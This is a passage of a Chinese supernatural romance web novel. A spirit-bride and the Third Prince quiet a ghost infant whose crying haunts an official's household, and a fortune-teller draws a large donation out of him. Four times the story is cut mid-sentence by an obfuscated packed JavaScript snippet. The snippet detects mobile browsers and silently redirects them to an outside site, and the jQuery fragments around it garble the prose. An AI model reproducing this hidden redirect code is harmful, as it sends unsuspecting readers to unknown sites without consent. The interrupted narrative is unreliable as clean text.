“我真的看见秦柔了,肚子那么大,肚子里还爬出个孩子来……我没眼花,我也没吃药,我当时连酒都没开始喝,脑子非常清醒……” 裘讷黑着脸让人看好他。 无论说的是真是假,也不能让这话传出去。 让人送走太医,又叫来今天几个处理秦柔尸体的人。 管家和两个小厮。 三人都一口咬定,他们今天要带秦柔尸体离开的时候,突然出现一个女人,将他们打昏,把尸体抢了。 裘讷叫了画师过来。 “细细说那女人长什么样子。” 敢从裘府抢人,这女人是活的不耐烦了。 画师做好,三人正要开口,突然愣住了。 裘讷有些不耐烦:“怎么了?” 管家张了张口:“小的,小的突然想不起那个女人长什么样子了……” 裘讷忍不住骂道:“废物!” “你们俩说。” 他看向两个小厮。 小厮也正要说,然后张了张嘴。 这一瞬间,他们俩同时有一种脑子里有什么画面被抹去的感觉。 明明今天在那女人那里吃了大亏,那女人的模样他们记得清清楚楚,恨不得化成灰了也认识。可突然就说不出口了。 两个小厮哭丧着脸。 “我们也记不得了。” 画师尴尬的看向裘讷:“老爷……” 这没法画啊。 众人都以为裘讷会大发雷霆,没想到他很冷静。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424627|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“行了,你们下去吧,今天发生的事情,不许对外说一个字。” 几人心慌意乱地走了。 裘讷在书房里,很快派出去的人就一个一个回来了。 “大人,秦柔的身世查过了。她是农户之女,父母早亡,跟兄嫂住在一起。小少爷出游看中她后,当场就给了她兄嫂钱,将人带回来了。她在府中已经四年了,脾气温和性子软,从没出过府,也没和外面人有什么来往。” 听起来,没有问题。 “今天那个王半仙呢?” “他在月亮河边摆算命摊子,已经十余年了,风评不错,都说是个有本事的。他是一个人,独来独往,在京城没有和任何人来往。” 这么听来,这两人确实是没有问题。 难道真的是……招了邪祟? 裘讷陷入了沉思。 “老爷。”下人道:“那如今该如何是好?” 裘讷想了想:“这样,等天黑你去请个大师来府里看看,做场法事之类的。” 宁可信其有。 不管有用没用,至少让宅子里的人安心。 比起宅子里闹鬼,他更担心的是被带走的秦柔的尸体。 到底谁会带走一具女尸? 太子虽然是太子,可毕竟不是皇帝,在朝廷也是有虎视眈眈的竞争者的,万一这事情被对头抓住了,定会以此来做文章。 天渐渐黑了,裘讷一时也没有头绪。 ##### 此时的三皇子府就不一样了。 新婚夫妻,自然有特别的事情要做。 安槐在泡澡。 挺大的一个浴桶,里面温热的水。 水面上洒了花瓣,屋子里还点着熏香,整个房间都香喷喷的。 安槐深深的吸了一口带着香味的空气。 舒服。 她闻了三百年泥土里的各种腐臭味道,现在特别喜欢各种香气。 突然,有人开门进来了。 安槐转头去看。 后面是个屏风。 屏风上,有个高大的影子。 她不慌。 在这里,能闯进浴室的,除了靳朝言,还能有谁? 春宵一刻值千金,昨天在乱葬岗折腾了一夜,实在是浪费了。 今晚可不能再浪费了。 第59章 折骨,战况激烈 安槐在水里转过身子,两手搭在浴桶上,笑眯眯地看着靳朝言走进来。 “殿下,你也来沐浴吗?要不要一起洗?” 安槐发出了真挚的邀请。 靳朝言走到浴桶边,居高临下地往下看。 虽然水面上飘着许多红的粉的花瓣,但花瓣和花瓣之间毕竟是有间隙的。 水波清澈,花瓣飘荡,犹抱琵琶半遮面。 靳朝言心里顿时澎湃起来。 这对一个刚刚开荤,食髓知味的男人,该有多大的诱惑力啊。 靳朝言俯身,伸手放在安槐的肩头。 “一起洗,不怕水凉了吗?” 安槐伸手搭在他的手背上,抬头看他。 “水凉不要紧……殿下火热……就行……” 靳朝言再耐不住地弯腰吻住。 手顺着肩膀往下滑,没入水中。 他总觉得自己这皇子妃,白天夜里是两副面孔。 白天整个人给人一种冷冷清清的感觉,既不撒娇,也不甜腻,当然也不端庄沉闷,有点洒脱。 晚上就不一样了。 晚上像个妖精。 要不是他这两天整个人比以前精神多了,真的要起疑心了。 安槐舒服的眯着眼睛,摸索着解开靳朝言的腰带。 啪的一声,腰带落在地上。 衣襟半敞,安槐探进手去。 靳朝言这胸肌腹肌手感没话说。 还是人间好,人间风光无限。 水波荡漾起来。 水,果然凉了。 但是谁也没嫌弃水凉。 因为浴桶里确实火热。 院子里,有侍卫守着。 大户人家就是如此,丫鬟小厮婆子侍卫,虽然是人也不全是人。 主子的很多事情是不会避着的。 沐浴房里不时传来些叫人脸红心跳的声音,侍卫面无表情,仿佛听不见一般。 一个丫鬟匆匆从外面走进来,被拦住。 丫鬟着急道:“奴婢有事要找娘娘。” 侍卫拦住。 “娘娘和殿下现在忙着,不方面见你。” 丫鬟一看。 虽然离得远,听不见看不见,但大概明白。 她也不敢打扰。 只好走了。 过了一阵子,丫鬟又来了。 院子里的情况跟刚才一样,三皇子夫妻俩还是没有出来。 丫鬟急的在院子门口团团转。 诸元过来巡视,便问:“什么事情如此着急?” 丫鬟连忙给诸元行礼:“诸大人,小少爷一直在哭,怎么哄都哄不好,嬷嬷怕他身体不适,想请娘娘去看看。” “小少爷?” 诸元反应了一下才反应过来。 哦,昨天晚上,主子和娘娘一个下人也不带,偷偷摸摸出去一夜,也不知道去了哪里。 带回来一具女尸和一个男孩。 诸元说:“我去看看。” 丫鬟松了口气。 有诸元做主也行,皇子府里,除了靳朝言,就是他和杭玉堂能说的上话。 诸元匆匆跟丫鬟去了。 此时,团子正坐在床上,闭着眼睛嗷嗷地哭。 小孩嗓门大得很,魔音贯耳,那声音还没到院子门口就能听见。 丫鬟担心道:“小少爷已经哭了半个时辰了,实在怕哭坏了。” “请大夫了吗?” “请府医看过了,说孩子身体没问题,大约是年纪小,到了陌生地方所以害怕。可这一直哭也不是事儿啊。” 团子白白嫩嫩的,哭的嗓子都哑了,看着也怪叫人心疼的。 诸元去看了一回。 可惜他也没办法。 他一个大小伙子,还没成婚。 打打杀杀的在行,但哄孩子确实没哄过。 自己什么招都使出来了,什么做鬼脸翻跟头,都没用,人家根本不看自己一眼。 嬷嬷和丫鬟都看着诸元,等他做主。 诸元挠了挠头:“你们先哄着,我去看看。” 哪怕主子已经睡了呢,他也不怕过去把人叫醒。 但现在情况不一样啊。 这要是战况正胶着激烈,主子如何好抽身而退? 男人在这个时候被打扰,是很容易发火的。 诸元一边纠结,一边往主院走,走到院子里,转来转去,也不敢去喊。 好在刚纠结了一会儿,屋子里门开了。 浴桶虽好,但总是太硬了。 再说泡多了容易泡秃噜皮。 安槐这一波喘息方歇,便听靳朝言在耳边说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424628|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“回房。” “嗯。”安槐软绵绵的:“但是我没劲儿了。” “我抱你。” 白天冷硬的男人,这会儿也是温柔的。 靳朝言以前对自己的体力就很有自信,现在更有自信了。 不是错觉。 他分明能感觉出来,自己在这件事情上,不仅仅得到了男女之间的欢愉,更是有种从未有过的轻松。 让他有点欲罢不能。 虽说成亲那晚到底是怎么开头圆的房,他至今依然想不起来。 又觉得,也不是那么重要了。 毕竟圆了才正常,不圆不正常不是吗? 靳朝言打横抱起安槐,一袭披风将她只穿了轻薄小衣的身体裹了个严严实实。 反正在自己的皇子府,自己的院子里。 外面的侍卫也不敢回头,他也没觉得有什么。 再说抱的还是自己的新婚妻子。 更加名正言顺了,就是有人知道了,最多也就是说一声,新婚夫妻如胶似漆。 这是恩爱。 靳朝言抱着安槐刚出房门,就看见诸元正探头探脑地往这边看。 他的脸瞬间就沉了下来。 诸元的眼睛是不是不想要了。 诸元也没想到这俩是这样的姿势出来,连忙转过身去。 安槐将脸埋在靳朝言怀里。 其实什么也看不到,就是有点尴尬。 不过她也不是人,没什么好尴尬的。 靳朝言虽然衣衫不整,但都是男人,更不用尴尬了。 诸元结结巴巴地说:“殿,殿下,有件事情……” “说。” 诸元连忙说:“团子少爷已经哭了一个时辰,怎么哄都哄不好。府医来看了,也看不出什么问题。嬷嬷很担心,让属下来请示您……” 靳朝言没想到竟然是这个问题。 他不由看向怀里的安槐。 哄孩子这事情,他也不行。 何况团子还不是一般的孩子。 这鬼婴不会有什么特殊癖好,比如要抱着具尸体睡觉吧? 安槐想了想:“这样啊,你们先哄着,我换身衣服就来。” 今天晚上的春宵,又要耽误了。 好在刚才已经吃了两口,不算太饿。 第60章 折骨,**哄儿 靳朝言抱着安槐回房的动作一气呵成,没有半分拖泥带水。 安槐将脸埋在他坚实的胸膛里,隔着一层薄薄的湿衣,能感受到他心脏有力的搏动。 嗯,阴气十足,舒服。 诸元还杵在院子里,低着头,眼观鼻,鼻观心,努力把自己当成一根柱子。 靳朝言目不斜视地进了卧房,将安槐往柔软的床榻上一放。 “你换衣服,我先去看看。” 安槐懒洋洋地应了一声,看着他转身往外走,背影都透着一股责任感。 她撇了撇嘴。 也不是自己的娃啊,一声爹,这就父爱泛滥了? 先喊爹和先喊娘,果然不一样! 小喜手脚麻利地取来干净的衣物,伺候安槐换上。 安槐随手挑了件藕荷色的家常便服,头发松松地用一根簪子挽起,便朝着团子的院子走去。 她心里有数,就算靳朝言父爱泛滥,也哄不好他好大儿子。 人还没到,那魔音贯耳的哭声已经先到了。 那不是普通婴儿的啼哭,声音里带着一股子阴森的怨气,尖锐得能刺破人的耳膜,听得久了,只觉得心浮气躁,五脏六腑都跟着搅动。 院子里的丫鬟嬷嬷们一个个脸色发白,站着都有些摇摇欲坠。 这哪里是哄孩子,这分明是渡劫。 她们都有点害怕。 这才一个呢。 万一主子三年抱俩,都是这么哭,可怎么办啊? 不是怕自己睡不好,是怕小主子哭的伤了身体,下人难免要受责罚。 安槐一脚踏进屋里,就见靳朝言正站在床边,一脸束手无策。 他一个在战场上能止小儿夜啼的煞神,此刻对着一个真小儿,却是一点办法都没有。 床上的团子哭得更凶了,小脸涨得通红,一边打嗝一边嚎,上气不接下气,仿佛要把自己的魂儿都哭出来。 看见安槐进来,团子哭声一顿。 他泪眼婆娑地看了过来,黑葡萄似的大眼睛里蓄满了委屈。 下一刻,他手脚并用地从床上滚下来,连滚带爬地扑向安槐,一把抱住了她的腿。 “呜哇……” 小小的身体还在一抽一抽的,把眼泪鼻涕全蹭在了安槐的裙摆上。 丫鬟嬷嬷们都松了一口气。 看来还是娘娘有办法,这小少爷认亲呢。 靳朝言也露出了些许期盼的神色。 谁知安槐低头,面无表情地看着腿部挂件。 她还记仇呢。 这小东西第一声喊的可是爹。 现在搞不定了,想起她这个娘了? 想得美。 安槐弯下腰,不是去抱,而是像拎一只小猫崽似的,掐着团子的后领,把他从自己腿上撕了下来。 团子小小的身子在空中划过一道优美的抛物线。 然后“啪叽”一下,精准地落入了靳朝言的怀里。 靳朝言下意识接住,还有点懵。 安槐拍了拍手,慢悠悠地掸了掸刚才被蹭脏的裙角。 她扯了扯嘴角,露出一抹凉薄的笑。 “殿下,你儿子叫你呢,哄吧。” 靳朝言怀里的团子愣了一下,似乎没明白自己怎么就换了个怀抱,随即哭得更加撕心裂肺。 这一次,还带上了被亲娘嫌弃的委屈。 哭声的杀伤力,瞬间又上了一个台阶。 靳朝言被他嚎得太阳穴突突直跳,只觉得怀里抱着的不是个儿子,是个炮仗。 还是范**击,不分敌我的那种。 他看向安槐:“你当真不管?” 安槐回以一个冷漠的眼神:“我管不着。” 靳朝言无奈了。 本来还想说,怎么有你这么狠心的娘? 想想也不合适,爹不是爹,娘也不是娘啊。 但也不能让鬼婴这么哭下去,哭的全府都要见鬼了。 他清了清嗓子,压低声音,带着几分商量的语气:“夫人。” “嗯?” “你看他多可怜。” “呵呵。” 靳朝言深吸一口气。 他算是看明白了,这位皇子妃,睚眦必报。 他抱着哭得上头的团子,往前凑了两步,几乎贴在了安槐耳边。 他压低了声音,气息温热。 “算我欠你一个人情。” 安槐挑了挑眉,不为所动。 我只修今生,不修来世。 来点实在的。 别画大饼。 靳朝言想了想:“我……明日带你出去逛街。” “送你个发簪?” “送你个铺子?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424629|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安槐不为所动。 任由团子哭的昏天暗地。 靳朝言咬了咬牙,仿佛下了什么重大决定,声音更低了,几不可闻。 “明日……为夫在榻上好好伺候你,如何?” 安槐的耳朵动了动。 她转过头,看向靳朝言,只见他神情严肃,仿佛在商讨什么国家大事,但耳根却悄悄地红了。 安槐心里的那点不爽,瞬间烟消云散。 她心情愉快地弯起了唇角。 “这还差不多。” 她施施然道:“早这么说不就结了?” “毕竟是叫了我一声娘的人,我还能真不管他吗?” “我又不是那么狠心的人。” 虚伪,太虚伪。 父子俩抱在一起,啧啧摇头。 其实团子听不懂,但爹摇头,他也摇头。 一边哭一边摇头。 得了保证,安槐立刻像是换了个人,浑身散发出可靠又强大的气场。 她一挥手。 “你们都下去。” 满屋子快被折磨疯的丫鬟嬷嬷如蒙大赦,连滚带爬地退了出去,顺手还贴心地关上了门。 房间里只剩下他们一家三口。 哭声依旧。 安槐这才走到床边,看着靳朝言怀里哭得快要抽过去的小东西。 “他不是凡婴,是鬼婴,怨气而生。” “秦柔沉冤未雪,他的怨气就不会散。” 安槐解释道:“所以,只要天一黑,他就会哭,谁也哄不好。这是他的本能,就像人饿了要吃饭一样。” 靳朝言皱眉:“总不能让他一直这么哭下去。” “哭是哭不坏的。”安槐说得轻描淡写:“他不是用嗓子哭,是用魂儿在哭。鬼哭狼嚎这个词就是这么来的,听多了,人会心浮气乱,运势被损。” “那要如何?” 安槐笑了。 “他娘亲又不是我们害死的,就是孩子哭丧,也没有在我们面前哭的道理。让该听的人去听吧。” 靳朝言还没明白过来。 只见安槐从怀里掏出一张符纸。 她将符纸往团子脑门上一贴。 口中念念有词,声音细微得仿佛只是嘴唇的翕动。 原本还在惊天动地嚎哭的团子,哭声戛然而止。 第61章 折骨,回门 他小小的身子一软,眼皮耷拉下来,竟就这么在靳朝言怀里沉沉睡了过去。 脸上还挂着两道清晰的泪痕,睡梦中还委屈地抽搭了一下。 王府的院子,瞬间恢复了宁静。 靳朝言松了口气,只觉得整个世界都清净了。 “这就好了?” 他甚至还在团子鼻子底下试探了一下。 别是**吧? 还好,呼吸正常,像是哭累了睡着了一般。 “好了一半。”安槐收回手,唇边笑意加深:“现在,他在梦里哭呢。” 她顿了顿,悠悠地补充道。 “而且,咱们听不见,该听的人能听见。” ***** 夜深了。 太子太傅府,裘讷的书房还亮着灯。 他心烦意乱地处理着公务,今天发生的一连串怪事,让他始终无法静心。 小儿子疯疯癫癫,秦柔的尸身不翼而飞,路上又冒出个故弄玄虚的算命先生。 桩桩件件,都透着诡异。 太子一直没来消息,刚才还有人来回话,说今晚皇太后身体不适,太子太子妃今夜留宿宫中。 他也不好进宫去找人。 裘讷揉了揉发胀的额角,感到一阵疲惫,便靠在椅背上闭目养神。 就在他将睡未睡之际,耳边突然响起一阵婴儿的啼哭声。 “哇……哇啊……” 哭声又细又尖,像是针一样扎进他的脑子里。 裘讷猛地睁开眼。 “谁?!” 书房外一片寂静,只有巡夜下人的脚步声远远传来。 他皱起眉,以为是自己听错了。 可当他再次闭上眼,那哭声又响了起来,如影随形,挥之不去。 “来人!”裘讷厉声喝道。 管家匆匆跑了进来:“老爷,您有何吩咐?” “你可有听见婴儿的哭声?” 管家一脸茫然:“回老爷,没有啊。府里如今没有婴儿啊?” 确实如此 裘讷脸色一沉。 难道真是自己心神不宁,产生了幻觉? 他挥手让管家退下。 坐在椅子上定了定神,再仔细听一听。 确实没有什么哭声。 大概是刚才睡着,迷糊了。 另一边,裘似的房间里。 他白天受了惊吓,腿又断了,喝了安神汤,好不容易才昏昏沉沉地睡去。 梦里,他又回到了那个茶楼的包厢。 长着秦柔脸的丫鬟,剖开了自己的肚子,那个变幻着不同面孔的婴孩,正对着他狞笑。 突然,那婴孩张开嘴,发出了震耳欲聋的啼哭。 “哇——!” 裘似一个激灵,从噩梦中惊醒,浑身都是冷汗。 “鬼啊!有鬼!” 他惊恐地大叫起来,在床上不住地挣扎,却被绑着手脚,动弹不得。 同样的事情,也发生在他妻子,裘少夫人的房里。 整个裘府,所有的人,只要一闭上眼,就会听见那永不停歇的鬼婴啼哭。 裘讷命人将整个太傅府仔仔细细的搜了一遍,一个房间都没有放过。 可是别说小孩儿,就是小狗也没有一只。 搜查完了,大家松了口气。 可是不能睡。 只要睡着,哭声又起。 惊醒之后,哭声立刻就消失了,就好像真的只是一场梦。 这谁受得了。 在主子面前不敢瞎说,但是一道流言悄悄的在下人间传开了。 这是秦姨娘带着没出生就被害死的孩子,回来报仇了。 太子太傅府,要倒大霉了! 他们一夜未眠,被折磨得几近崩溃。 第二天,裘府上下,主子仆人,个个顶着一双乌青的眼圈,面色憔-悴,精神萎靡。 仿佛一夜之间,全府的精气神都被抽干了。 太阳升起,那哭声终于停了。 终于可以睡了。 但没事儿的主子可以赖床补觉,下人可不行。 一个个打着哈欠还得干活儿。 怨声载道。 裘讷也没有补觉,而是沉着脸叫来亲信。 “你去请王半仙过来一趟,就是昨天在路上碰见的那个。” 手下领命去了。 而三皇子府里,却是另一番光景。 团子睡得香甜,还砸吧着小嘴,一夜安稳。 安槐心满意足地醒来,伸了个懒腰,看着身边还在熟睡的靳朝言,心情甚是愉悦。 嗯,今天是个讨债的好日子。 你且等天黑。 其实她觉得白天也行,别有一番滋味。 奈何大家都挺忙的。 天光大亮。 三皇子府邸的庭院里,晨露还挂在花瓣尖儿上,晶莹剔透。 安槐已经起身,换上了一身鸦青色的衣裙,裙摆上用银线绣着暗纹的祥云,走动间,流光微转,低调却又透着一股子说不出的华贵。 靳朝言也已穿戴整齐,一身玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424630|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色窄袖劲装,腰间束着玉带,衬得他身姿愈发挺拔。那道从眉骨划下的疤痕,在清晨的柔光里,非但不显狰狞,反而平添了几分冷峻的战神气概。 安槐睁眼见美男,心情很好。 见靳朝言的腰带没系好,走了过去。 “殿下,衣带没系好。” 那玉带扣得有些歪,一个小角倔强地翘着。 靳朝言低头一看。 他一个在边关沙场上摸爬滚打了十年的人,穿衣服向来只求快和牢固,哪里注意过这些细枝末节。 也不太习惯穿衣这种自己顺手的时候,还要下人伺候。 “有劳王妃费心了。” 安槐款步上前,纤细的手指搭上他的腰带。 一股淡淡的、类似草木灰烬混合着冷香的气息,瞬间萦绕在靳朝言的鼻尖。 他身形僵了僵,看着她低垂的眼睫,纤长浓密,像两把小刷子。 安槐的动作很利落,解开,抚平,再重新扣好。 她满意地退后一步,像是在欣赏一件自己的杰作。 “好了,玉树临风,英俊潇洒。” 靳朝言清了清嗓子,掩饰住那一点不自在,这才想起正事。 “对了,今日是你三朝回门的日子。”他道,语气里带着一丝歉意,“只是我手上还有案子,不能在侯府久留。” 他顿了顿,补充道:“我先陪你过去,稍坐片刻便走,跟岳父岳母告个罪。” 安槐闻言,眉梢轻轻一挑。 陪她去? 她脑海里立刻浮现出安明珠那张楚楚可怜的脸,一见到靳朝言就恨不得化成一汪春水贴上来的模样。 让她的人,去被别的女人用那种眼神觊觎? 安槐心里冷笑一声。 门儿都没有。 她养的怨气,呸,她的人,凭什么给别人看。 “不必了。” 安槐一口否决:“案子要紧,公事为重。我一个人回去就行,又不是不认得路。” 靳朝言有些意外:“你一个人?” 按照规矩,新妇回门,夫君是要陪同的,这代表着夫家对新妇的重视。 要是今天他不陪安槐回门,明天难免京城要传出难听的闲话来。 “怕我受委屈呀?” 安槐似笑非笑地看着他。 靳朝言哑然。 这怎么说? 想想安槐确实不像是会受委屈的人。 安槐回门,她爹娘妹妹不受委屈,就不错了。 第62章 折骨,半仙更仙 “也好。”靳朝言颔首,“让黎四黎五跟着你,有事就吩咐他们。” “好。” 待靳朝言带着杭玉堂和诸元离去,整个院子彻底安静下来。 安槐这才转身,对柳嬷嬷吩咐道:“去库房,给侯府挑几样回门礼。” 她的唇角,勾起一抹意味深长的笑。 她得好好挑挑,务必让永安侯府上下,都感受到她这份沉甸甸的“孝心”。 三皇子府的库房,珍宝如山。 前朝的字画,御赐的玉器,西域进贡的宝石,琳琅满目,随便一件拿出去都价值连城。 柳嬷嬷站在一旁,眼都看花了,正琢磨着该给王妃推荐哪几样既体面又贵重的宝贝。 然而,安槐的目光却在那些犄角旮旯里打转。 她先是拎起一只鎏金花瓶,对着光看了半天,嫌弃地摇了摇头。 “太闪了,俗气。” 然后又拿起一匹云锦,摸了摸料子。 “颜色太艳,扎眼。” 最后,她的目光落在一个角落的木箱上。 箱子打开,里面是一套银质的茶具,看着还算精致,但细看之下,便能发现银器表面有些许氧化的黑斑,显然是许久未曾打理的次等货。 “就这个了。”安槐一锤定音。 柳嬷嬷的嘴角抽了抽:“王妃,这……是不是太素净了些?” 这话说得已经很委婉了。 “情谊到了就行。”安槐一脸的理所当然:“侯府家大业大,什么好东西没见过?不缺我这点。咱们送的,是心意。” 柳嬷嬷:“……” 懂了,膈应人的心意。 娘娘没整上几个空箱子,装点风装点光装点思念和孝心,就已经很大方了。 安槐又挑挑拣拣,选了一盒看起来包装精美,实则已经有些干瘪的所谓“上品”人参,又拿了一块成色不佳、雕工却很唬人的玉如意。 凑齐了四样礼,她才心满意足地让黎四黎五抬上马车。 一点便宜都不想让那对所谓的爹娘占。 不光不让他们占便宜,她还要连本带利,把原主受过的委屈,一一讨回来。 今天,只是个开始。 *** 另一头,月亮河边。 晨雾尚未完全散去,河边的柳树下,支着一个卦摊。 一个身穿破旧道袍、山羊胡几乎垂到胸口的老者,正闭目打坐,面前的幡子上龙飞凤舞地写着八个大字——“洞晓天机,指点迷津”。 正是裘讷要找的那个“王半仙”。 他今日竟然换了个新幡。 裘府的亲信昨天刚调查完这个老头,今天找上门熟门熟路。 管事上前,拱了拱手,姿态放得很低:“王老先生,我家主人有请。” 王半仙眼皮都未抬一下,声音飘忽。 “老夫就算着,今日该有贵客上门。” 当然他不会说,贵客是来送钱的。 昨天半夜,一只黑漆漆的大鸟停在他窗台上。 叫脚上系着个纸条。 上面洋洋洒洒写了一堆。 王半仙一看纸条,懂了,明白。 管事心头一凛,愈发觉得此人深不可测。 “先生请。” 王半仙慢悠悠地站起身,由着家丁收了卦摊,自己则背着手,施施然地跟着管事上了马车,一路朝太子太傅府行去。 裘讷的书房里,檀香缭绕。 可这安神静气的熏香,却压不住裘讷眼底的焦躁和疲惫。 他一夜未眠,眼眶下是浓重的乌青,整个人都透着一股摇摇欲坠的颓唐。 当王半仙被请进来时,他又快睡着了。 王半仙也不行礼,径直走到客座上坐下,端起下人奉上的茶,吹了吹热气,仿佛回了自己家一样自在。 他呷了一口茶,才慢悠悠地抬起眼皮。 “太傅大人昨夜,可曾安睡?” 一句话,如同一记重锤,狠狠砸在裘讷心上。 他的脸色瞬间变了。 王半仙却仿佛没看见,自顾自地继续说道:“太傅府邸,华贵非常,只是这阴气……也太重了些。” 他煞有介事地掐指一算,摇了摇头。 “不对,不对。这并非府中风水不好,而是……有东西,跟着回来了。” 裘讷的呼吸一滞,攥紧了扶手:“你……你什么意思?” 王半仙放下茶杯,声音陡然压低,带着一股说不出的诡异:“府上,是不是多了一道哭声?” “一道只在梦里响,醒来便无踪的哭声?” “一道……婴儿的哭声?” 接连三问,一句比一句更让裘讷心惊肉跳。 他猛地站起身,死死地盯着王半仙,眼神里满是震惊和骇然。 此事只有府里的人知道,而且昨夜府门紧闭,消息绝无可能外泄! 这个江湖骗子,竟然知道得一清二楚! “你……你到底是谁?!” 王半仙高深莫测地笑了笑,捋着自己的山羊胡。 “老夫是个算命的。太傅大人,你惹上了不该惹的东西。” 他站起身,在书房里踱了两步,最后停在窗边,看向院中某一个方向。 那是裘似养伤的院子。 “一笔血债,一尸两命。冤魂不散,啼哭索命。” 王半仙幽幽开口,声音像是从地府里飘出来的一样。 “那孩子,是在向自己的亲人讨一个公道。” “它在问,它还没来得及看一眼这个世界,为何就要被扼杀?” “它在问,它的母亲,为何要含冤而死,连个全尸都留不下?” 字字句句,都精准地戳在裘讷最恐惧、最隐秘的痛处。 秦柔的死,裘似的所作所为,他这个做父亲的,全都一清二楚! 裘讷只觉得一股寒气从脚底板直冲天灵盖,浑身的血液都快要凝固了。 他再也维持不住太傅的威严和镇定,声音都开始发颤。 “大师……还请大师……救我裘府上下!” 他对着王半仙,竟是深深地作了一揖。 王半仙缓缓转过身,看着他,眼中闪过一丝不易察觉的冷笑,口中却叹息道: “孽债已成,天理昭昭。太傅大人,昨日你出手助我,咱们便是有缘。老夫不是不愿意帮你,但是……这事情不好办啊。” 裘讷是个官场老手,他有什么不明白的? 有缘? 有什么缘分,一万八千元。 “老先生。”裘讷正色说:“既然你我有缘,也就无需客套。这事情当如何,还请明示。” 第63章 折骨,破财消灾 王半仙心中冷笑,面上却是一副悲天悯人的高人风范。 来了,经典环节,谈价钱。 不,是谈“缘分”。 他慢悠悠地捋了捋自己的山羊胡,浑浊的眼珠子转了转,像是透过裘讷的肉身,看到了他身后纠缠不休的因果业障。 这套架势,他练了几十年,闭着眼睛都能摆出来。 “裘大人言重了。” “天道有常,报应不爽。万事万物,皆逃不过一个‘因果’二字。” 王半仙开口,声音不大,却像一口古钟,在寂静的书房里嗡嗡作响。 “裘家近年,恐有德行亏损之事。此事阳间律法或许不知,但阴司规矩却一笔一笔记着。” 他说得玄之又玄,每一个字都像沾了符水,往裘讷的脑门上贴。 裘讷的眼皮跳了一下。 德行亏损? 他脑子里瞬间闪过几桩见不得光的买卖,还有儿子裘似对秦柔做下的那些畜生事。 “这……与那婴孩啼哭有何干系?” “干系大了。” 王半仙一拍大腿,差点把高人形象拍碎。 他赶紧收敛,又恢复了那副世外高人的模样。 “那婴魂,便是你家‘果’。它因何而来?皆因‘因’而起。” “府上的人,身上背了人命啊?” 王半仙的声音陡然压低,像一条毒蛇,精准地咬住了裘讷的七寸。 裘讷的脸色,唰地一下变得惨白。 “你……” “老夫只是窥得一丝天机。”王半仙摆了摆手,一副“你别问,问了就是天机不可泄露”的表情。 “那冤魂怨气太重,又与府上有血脉牵连,这才夜夜啼哭,扰得阖府不宁。这只是个开始,若不化解,只怕……” 他故意拖长了尾音,没说下去。 但那未尽之言的恐惧,比说出来更让人心头发毛。 裘讷彻底坐不住了,他能爬到太子太傅的位置,自然不是蠢人。 宁可信其有,不可信其无。 万一真出了什么大事,别说官位,整个裘家都得搭进去。 关键是昨晚上的事情实在是太邪门了。 邪门到,实在找不到理由来解释。 “大师!请大师指点迷津!” 王半仙要的就是这句话。 他沉吟半晌,面露难色:“解铃还须系铃人。要化解这桩孽债,需得拿出诚意来。” “诚意?” “破财消灾,积善赎罪。” 王半仙吐出八个字。 “府上需捐出二十万两白银,广设善堂,施粥济民。记住,此事必须真心实意,大张旗鼓地去做,万不可假手于人,敷衍了事。你做的每一分善事,阴司都会记在账上,用以抵消你家的罪孽。” 二十万两! 裘讷的心像是被狠狠剜了一刀,疼得他嘴角直抽抽。 那可是二十万两白银,不是二十万颗大白菜! “这……是不是太多了些?” 王半仙斜睨了他一眼,冷笑一声。 “太傅大人,有命才有钱,不然钱再多,又有何用?” “那婴魂尚未见天日,其母更是含冤而死。这笔账,大人觉得该怎么算?” 裘讷被噎得一句话都说不出来。 王半仙见火候差不多了,又放缓了语气。 “老夫与大人有缘,才肯点拨一二。这法子,是给那冤魂一个说法,也是给裘家一个机会。” “当然,光做善事还不够。” 他话锋一转。 “那婴魂怨气已成气候,须得老夫亲自开坛做法,连做七七四十九日,才能将其超度,送入轮回。” “只是这法事极为耗费心神,需借天地灵气,通阴阳两界,对老夫的损耗极大……” 裘讷是人精,立刻听懂了。 这是要另外收费。 “大师需要多少,尽管开口。” 王半仙伸出一根手指头。 “一万两。” 裘讷松了口气,一万两,还好还好。 “法事一共七场。” 